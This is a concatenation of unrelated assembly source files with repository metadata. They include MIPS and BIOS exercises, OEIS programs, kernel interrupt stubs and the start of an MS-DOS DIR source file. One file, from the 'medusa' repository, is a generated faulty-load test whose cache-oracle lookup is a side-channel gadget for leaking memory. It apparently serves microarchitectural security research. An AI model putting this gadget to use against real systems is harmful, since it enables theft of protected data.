32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
41.2
2,999
0.658018
5484c3a27f12dcedf178052efbec8c0569f30ee2
198
asm
Assembly
02_asm/print_char.asm
Kris030/lowlew-basics
0b7133d2da2ea001db353c09ddfd846907faf9fc
[ "MIT" ]
null
null
null
02_asm/print_char.asm
Kris030/lowlew-basics
0b7133d2da2ea001db353c09ddfd846907faf9fc
[ "MIT" ]
null
null
null
02_asm/print_char.asm
Kris030/lowlew-basics
0b7133d2da2ea001db353c09ddfd846907faf9fc
[ "MIT" ]
1
2021-11-29T13:36:12.000Z
2021-11-29T13:36:12.000Z
; char in ebx print_char: ; preserve eax push eax ; Teletype output mov ah, 0Eh ; move al = *ebx mov al, [ebx] ; BIOS interrupt, print [al] to screen int 0x10 ; restore eax pop eax ret
9.9
38
0.656566
a971d6c0d814cdb553f4429439420db9d8e8ec7c
1,752
asm
Assembly
midterm_1.asm
sudo-u-Hung-NN/MIPS
88f4d359bc8e9b57a5aab0c04ded720ce4fc887d
[ "MIT" ]
null
null
null
midterm_1.asm
sudo-u-Hung-NN/MIPS
88f4d359bc8e9b57a5aab0c04ded720ce4fc887d
[ "MIT" ]
null
null
null
midterm_1.asm
sudo-u-Hung-NN/MIPS
88f4d359bc8e9b57a5aab0c04ded720ce4fc887d
[ "MIT" ]
null
null
null
.data MessageInput: .asciiz "Enter a string (less than 100 characters, end with enter): \n" Buffer: .space 100 YesMessage: .asciiz "Yes, parenthesis: " NoMessage: .asciiz "No, not parenthesis: " .text li $s0, 0 #init i = 0, length of the string la $k0, Buffer # $k0 = &Buffer[0], let $k1 be &Buffer[i] Read_keyboard: li $v0, 4 la $a0, MessageInput syscall get_character: beq $s0, 99, Check_parenthesis #if string length is 99, check parenthesis nop li $v0, 12 #read characters letter by letter syscall beq $v0, 10, Check_parenthesis #if input '\n' then check parenthesis add $k1, $k0, $s0 # k1 = &Buffer[0] + i = &Buffer[i] sb $v0, 0($k1) # store read character into &Buffer[i] addi $s0, $s0, 1 # increase i += 1 j get_character nop Check_parenthesis: add $s1, $s0, $0 # store length of string into $s1 srl $s2, $s1, 1 # s2 = s1 / 2 => threshold to loop i li $s0, 0 # reset i = 0 # Current situation: i = num_character, # last character address: $k1, # first character address: $k0, # Loop i++: check if *(&A[0] + i) == *($k1 - i), if not, conclude no Loop: slt $s3, $s2, $s0 # s3 = threshold < i ? 1 : 0 bne $s3, $0, Conclude_yes nop # s3 = 1 then i has gone to middle of the string # => All is checked, conclude yes add $t1, $s0, $k0 # t1 = i + &A[0] = &A[i] lb $t2, 0($t1) # t2 = A[i] sub $t3, $0, $s0 # t3 = 0 - i = -i add $t4, $t3, $k1 # t4 = -i + &A[last] = &A[last -i] lb $t5, 0($t4) # t5 = A[last - i] bne $t2, $t5, Conclude_no #if A[i] != A[last - i] then conclude no addi $s0, $s0, 1 # i += 1 j Loop nop Conclude_yes: li $v0, 59 la $a0, YesMessage la $a1, Buffer syscall j end Conclude_no: li $v0, 59 la $a0, NoMessage la $a1, Buffer syscall j end end: li $v0, 10 syscall
25.028571
85
0.614726
bc1798155d8b1be7d9f67c24aa4628ad19cc6d93
199
asm
Assembly
Assignment 7/SubReturnAddr.asm
wstern1234/COMSC-260
e1bd1a88698f09fa27a2d563e53da20d0c9a361e
[ "MIT" ]
null
null
null
Assignment 7/SubReturnAddr.asm
wstern1234/COMSC-260
e1bd1a88698f09fa27a2d563e53da20d0c9a361e
[ "MIT" ]
null
null
null
Assignment 7/SubReturnAddr.asm
wstern1234/COMSC-260
e1bd1a88698f09fa27a2d563e53da20d0c9a361e
[ "MIT" ]
null
null
null
; SubReturnAddr.asm - displays return address of WriteHex INCLUDE Irvine32.inc .data .code main PROC mov eax, [esp] call WriteHex INVOKE ExitProcess, 0 main ENDP END main
9.95
58
0.678392
a11dc4abd8eceb9c05461afcdd43ad369e0cf3b1
110
asm
Assembly
Sept10/2.asm
s10singh97/Microprocessor_Lab
0ff882a953a8068367363dc7c533470d60064cef
[ "Apache-2.0" ]
null
null
null
Sept10/2.asm
s10singh97/Microprocessor_Lab
0ff882a953a8068367363dc7c533470d60064cef
[ "Apache-2.0" ]
null
null
null
Sept10/2.asm
s10singh97/Microprocessor_Lab
0ff882a953a8068367363dc7c533470d60064cef
[ "Apache-2.0" ]
null
null
null
;ASCII to Hex MVI a,43h mvi d,30H mvi e,37H cpi 41H jc less sub e sta 4000H hlt less: sub d sta 4000H hlt
6.875
13
0.7
a80b7f5df9582a70ed8c4380baecf41848d0c5d7
1,716
asm
Assembly
programs/oeis/028/A028375.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/028/A028375.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/028/A028375.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A028375: Squares of (odd numbers not divisible by 5). ; 1,9,49,81,121,169,289,361,441,529,729,841,961,1089,1369,1521,1681,1849,2209,2401,2601,2809,3249,3481,3721,3969,4489,4761,5041,5329,5929,6241,6561,6889,7569,7921,8281,8649,9409,9801,10201,10609,11449,11881,12321,12769,13689,14161,14641,15129,16129,16641,17161,17689,18769,19321,19881,20449,21609,22201,22801,23409,24649,25281,25921,26569,27889,28561,29241,29929,31329,32041,32761,33489,34969,35721,36481,37249,38809,39601,40401,41209,42849,43681,44521,45369,47089,47961,48841,49729,51529,52441,53361,54289,56169,57121,58081,59049,61009,62001,63001,64009,66049,67081,68121,69169,71289,72361,73441,74529,76729,77841,78961,80089,82369,83521,84681,85849,88209,89401,90601,91809,94249,95481,96721,97969,100489,101761,103041,104329,106929,108241,109561,110889,113569,114921,116281,117649,120409,121801,123201,124609,127449,128881,130321,131769,134689,136161,137641,139129,142129,143641,145161,146689,149769,151321,152881,154449,157609,159201,160801,162409,165649,167281,168921,170569,173889,175561,177241,178929,182329,184041,185761,187489,190969,192721,194481,196249,199809,201601,203401,205209,208849,210681,212521,214369,218089,219961,221841,223729,227529,229441,231361,233289,237169,239121,241081,243049,247009,249001,251001,253009,257049,259081,261121,263169,267289,269361,271441,273529,277729,279841,281961,284089,288369,290521,292681,294849,299209,301401,303601,305809,310249,312481,314721,316969,321489,323761,326041,328329,332929,335241,337561,339889,344569,346921,349281,351649,356409,358801,361201,363609,368449,370881,373321,375769,380689,383161,385641,388129 add $0,2 mul $0,5 mov $1,$0 div $1,4 mul $1,4 sub $1,6 pow $1,2 div $1,32 mul $1,8 add $1,1
122.571429
1,566
0.81993
962670de0b6ea62d35044f96177fd07605f9a1a9
3,712
asm
Assembly
kernel/int_handle/int_handle.asm
ucrux/ucrux
dd385038c296ed7ccaddc3227d6a57cbc826c395
[ "MIT" ]
2
2018-11-08T01:30:22.000Z
2019-07-11T23:56:00.000Z
kernel/int_handle/int_handle.asm
ucrux/ucrux
dd385038c296ed7ccaddc3227d6a57cbc826c395
[ "MIT" ]
null
null
null
kernel/int_handle/int_handle.asm
ucrux/ucrux
dd385038c296ed7ccaddc3227d6a57cbc826c395
[ "MIT" ]
2
2018-09-17T09:28:05.000Z
2020-08-31T04:50:27.000Z
%include "int_handle.inc.asm" SELECTOR_KERNEL_CODE equ 0x08 [bits 32] ;声明外部变量 ; 中断处理函数表 extern intr_handle_func_table ; 系统调用函数表 extern syscall_func_table ;导出数据 global intr_handle_entry_table, intr_exit, change_pdt section .data intr_handle_entry_table : entry_addr 0x00 entry_addr 0x01 entry_addr 0x02 entry_addr 0x03 entry_addr 0x04 entry_addr 0x05 entry_addr 0x06 entry_addr 0x07 entry_addr 0x08 entry_addr 0x09 entry_addr 0x0a entry_addr 0x0b entry_addr 0x0c entry_addr 0x0d entry_addr 0x0e entry_addr 0x0f entry_addr 0x10 entry_addr 0x11 entry_addr 0x12 entry_addr 0x13 entry_addr 0x14 entry_addr 0x15 entry_addr 0x16 entry_addr 0x17 entry_addr 0x18 entry_addr 0x19 entry_addr 0x1a entry_addr 0x1b entry_addr 0x1c entry_addr 0x1d entry_addr 0x1e entry_addr 0x1f entry_addr 0x20 entry_addr 0x21 entry_addr 0x22 entry_addr 0x23 entry_addr 0x24 entry_addr 0x25 entry_addr 0x26 entry_addr 0x27 entry_addr 0x28 entry_addr 0x29 entry_addr 0x2a entry_addr 0x2b entry_addr 0x2c entry_addr 0x2d entry_addr 0x2e entry_addr 0x2f dd syscall_handle section .text intr_vec 0x00, ZERO intr_vec 0x01, ZERO intr_vec 0x02, ZERO intr_vec 0x03, ZERO intr_vec 0x04, ZERO intr_vec 0x05, ZERO intr_vec 0x06, ZERO intr_vec 0x07, ZERO intr_vec 0x08, ERROR_CODE intr_vec 0x09, ZERO intr_vec 0x0a, ERROR_CODE intr_vec 0x0b, ERROR_CODE intr_vec 0x0c, ERROR_CODE intr_vec 0x0d, ERROR_CODE intr_vec 0x0e, ERROR_CODE intr_vec 0x0f, ZERO intr_vec 0x10, ZERO intr_vec 0x11, ERROR_CODE intr_vec 0x12, ZERO intr_vec 0x13, ZERO intr_vec 0x14, ZERO intr_vec 0x15, ZERO intr_vec 0x16, ZERO intr_vec 0x17, ZERO intr_vec 0x18, ERROR_CODE intr_vec 0x19, ZERO intr_vec 0x1a, ERROR_CODE intr_vec 0x1b, ERROR_CODE intr_vec 0x1c, ZERO intr_vec 0x1d, ERROR_CODE intr_vec 0x1e, ERROR_CODE intr_vec 0x1f, ZERO intr_vec 0x20, ZERO ;时钟中断对应的入口 intr_vec 0x21, ZERO ;键盘中断对应的入口 intr_vec 0x22, ZERO ;级联用的 intr_vec 0x23, ZERO ;串口2对应的入口 intr_vec 0x24, ZERO ;串口1对应的入口 intr_vec 0x25, ZERO ;并口2对应的入口 intr_vec 0x26, ZERO ;软盘对应的入口 intr_vec 0x27, ZERO ;并口1对应的入口 intr_vec 0x28, ZERO ;实时时钟对应的入口 intr_vec 0x29, ZERO ;重定向 intr_vec 0x2a, ZERO ;保留 intr_vec 0x2b, ZERO ;保留 intr_vec 0x2c, ZERO ;ps/2鼠标 intr_vec 0x2d, ZERO ;fpu浮点单元异常 intr_vec 0x2e, ZERO ;硬盘 intr_vec 0x2f, ZERO ;保留 ; 一共四个系统调用 ; void *sys_malloc( size_t size ) ; ; void sys_free( void *void ) ; void sys_msgsend( pid_t *send_to, msg_t *msg ) ; ; msg_t* sys_msgrecv( ) ; ; ; 系统调用 eax 是系统调用功能号 ; edx 系统调用第三个参数 ; ecx 系统调用第二个参数 ; ebx 系统调用第一个参数 ; 进入中断的时候会自动关闭if标志 ; 所以 ; 1.其他中断无法产生 ; 2.进入系统调用时,进程是不会调出的 ; 3.所以此中断也不会被重入 ; 4.所以可以没有同步机制 syscall_handle : push 0 ; 和其他中断格式保存一致 ; 保存运行环境 push ds push es push fs push gs pushad push 0x30 ; 和其他中断保持一致 ; 系统调用参数 push edx ; 系统调用第三个参数 push ecx ; 系统调用第二个参数 push ebx ; 系统调用第一个参数 push eax ; 切换内核段 mov eax, SELECTOR_DATA mov ds, eax mov es, eax mov fs, eax mov eax, SELECTOR_VIDEO mov gs, ax pop eax call [syscall_func_table + eax * 4] add esp, 12 mov [esp + 8 * 4 ], eax ;保存系统调用的返回值 esp+8*4 保存着 eax jmp intr_exit intr_exit : ; void intr_exit( void ) ; add esp, 4 ;清除中断向量 popad pop gs pop fs pop es pop ds add esp, 4 ;清除错误码 iretd change_pdt : ; void change_pdt( uint32_t *pdt ) push ebp mov ebp, esp mov eax, [ebp+8] mov cr3, eax jmp SELECTOR_KERNEL_CODE:flush_tlb flush_tlb : pop ebp ret
19.536842
56
0.692888
cf05e01051f3a94cdf3af460e5163b16b9ea5b06
4,580
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1300.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1300.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1300.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %rax push %rbp push %rcx push %rdx lea addresses_UC_ht+0x1de1d, %r13 clflush (%r13) nop nop nop inc %rax movw $0x6162, (%r13) nop xor %rbp, %rbp lea addresses_WC_ht+0x122cd, %rdx nop dec %rcx mov (%rdx), %r12w nop nop xor %rdx, %rdx pop %rdx pop %rcx pop %rbp pop %rax pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r8 push %rax push %rdi push %rdx // Store lea addresses_A+0x427d, %rdx nop nop nop nop xor %r11, %r11 mov $0x5152535455565758, %r14 movq %r14, (%rdx) dec %rdi // Faulty Load lea addresses_UC+0x1a2cd, %r14 nop nop cmp $43717, %r8 vmovups (%r14), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r10 lea oracles, %r11 and $0xff, %r10 shlq $12, %r10 mov (%r11,%r10,1), %r10 pop %rdx pop %rdi pop %rax pop %r8 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
52.045455
2,999
0.660044
43b693d29a3f5c84b0b44f3c90f47fd58a99a4a0
700
asm
Assembly
oeis/006/A006483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/006/A006483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/006/A006483.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A006483: a(n) = Fibonacci(n)*2^n + 1. ; Submitted by Jamie Morken(s2) ; 1,3,5,17,49,161,513,1665,5377,17409,56321,182273,589825,1908737,6176769,19988481,64684033,209321985,677380097,2192048129,7093616641,22955425793,74285318145,240392339457,777925951489,2517421260801,8146546327553,26362777698305,85311740706817,276074592206849,893396147240961,2891090663309313,9355765915582465,30275894484402177,97974852631134209,317053283199877121,1026005976924291073,3320225086648090625,10744474080993345537,34769848508579053569,112517593341131489281,364114580716579192833 mov $1,2 pow $1,$0 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. mul $1,2 mul $0,$1 div $0,2 add $0,1
58.333333
488
0.805714
f54508b0d6591a9f13be08d4741533392e4c74cc
390
asm
Assembly
programs/oeis/094/A094627.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/094/A094627.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/094/A094627.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A094627: Expansion of (1+x)^2/((1-x)*(1-10*x^2)). ; 1,3,14,34,144,344,1444,3444,14444,34444,144444,344444,1444444,3444444,14444444,34444444,144444444,344444444,1444444444,3444444444,14444444444,34444444444,144444444444,344444444444,1444444444444 lpb $0 mov $2,$0 sub $0,1 seq $2,70199 ; Number of palindromes of length <= n. add $1,$2 add $1,1 lpe div $1,10 add $1,1 mov $0,$1
27.857143
195
0.710256
349b2c4b7d71e35f6b7327b18464273c7d5f42dd
386
asm
Assembly
programs/oeis/086/A086845.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/086/A086845.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/086/A086845.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A086845: a(1) = 0, a(n) = a(floor(n/2)) + 2*a(ceiling(n/2)) + floor(n/2). ; 0,1,3,5,9,12,16,19,27,32,38,42,50,55,61,65,81,90,100,106,118,125,133,138,154,163,173,179,191,198,206,211,243,260,278,288,308,319,331,338,362,375,389,397,413,422,432,438,470,487,505,515,535 lpb $0 mov $2,$0 sub $0,1 seq $2,87808 ; a(0) = 0; a(2n) = 2a(n), a(2n+1) = a(n) + 1. add $1,$2 lpe mov $0,$1
35.090909
190
0.585492
f67599e00c73ac37ccb60c68db81b325048d4ae3
334
asm
Assembly
programs/oeis/171/A171790.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/171/A171790.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/171/A171790.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A171790: G.f. A(x) satisfies: A(x*(1+x)^3) = 1 + x. ; 1,1,-3,15,-91,612,-4389,32890,-254475,2017356,-16301164,133767543,-1111731933,9338434700,-79155435870,676196049060,-5815796869995,50318860986108,-437662920058980,3824609516638444,-33563127932394060 mov $1,1 sub $1,$0 sub $1,$0 sub $1,$0 mov $2,$1 bin $1,$0 div $1,$2 mov $0,$1
27.833333
199
0.700599
982ad4b79aeacde7e5e3745e7eac809338552275
410
asm
Assembly
oeis/099/A099635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/099/A099635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/099/A099635.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A099635: a(n) = gcd(sum of all prime factors of n, n). ; Submitted by Christian Krause ; 1,2,3,2,5,1,7,2,3,1,11,1,13,1,1,2,17,1,19,1,1,1,23,1,5,1,3,1,29,10,31,2,1,1,1,1,37,1,1,1,41,6,43,1,1,1,47,1,7,1,1,1,53,1,1,1,1,1,59,10,61,1,1,2,1,2,67,1,1,14,71,1,73,1,1,1,1,6,79,1,3,1,83,12,1,1,1,1,89,10,1,1,1,1,1,1,97,1,1,1 mov $1,1 add $1,$0 seq $0,8472 ; Sum of the distinct primes dividing n. gcd $1,$0 mov $0,$1
41
227
0.602439
50e673a12f889e365ad45df16d36fd8ef193debb
86,714
asm
Assembly
base/mvdm/dos/v86/cmd/command/dir.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/mvdm/dos/v86/cmd/command/dir.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/mvdm/dos/v86/cmd/command/dir.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
page ,132 title DIR Internal Command ;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ;*** DIR.ASM - DIR internal command comment % ================================================================= This module replaces TCMD1A.ASM. The old module was titled "PART4 COMMAND Transient routines". From residual documentation, I surmise that TCMD.ASM originally contained the internal commands DIR, PAUSE, ERASE, TYPE, VOL, and VER. The file seems to have been successively split: TCMD -> TCMD1,TCMD2 -> TCMD1A,TCMD1B,TCMD2A,TCMD2B TCMD1A.ASM contained only the DIR command. Usage: ------ DIR <filespec> /w /p /b /s /l /o<sortorder> /a<attriblist> DIR /? <filespec> may include any or none of: drive; directory path; wildcarded filename. If drive or directory path are omitted, the current defaults are used. If the file name or extension is omitted, wildcards are assumed. /w Wide listing format. Files are displayed in compressed 'name.ext' format. Subdirectory files are enclosed in brackets, '[dirname]'. /p Paged, or prompted listing. A screenful is displayed at a time. The name of the directory being listed appears at the top of each page. Bugbug: pages nead to be uniform length..? /b Bare listing format. Turns off /w or /p. Files are listed in compressed 'name.ext' format, one per 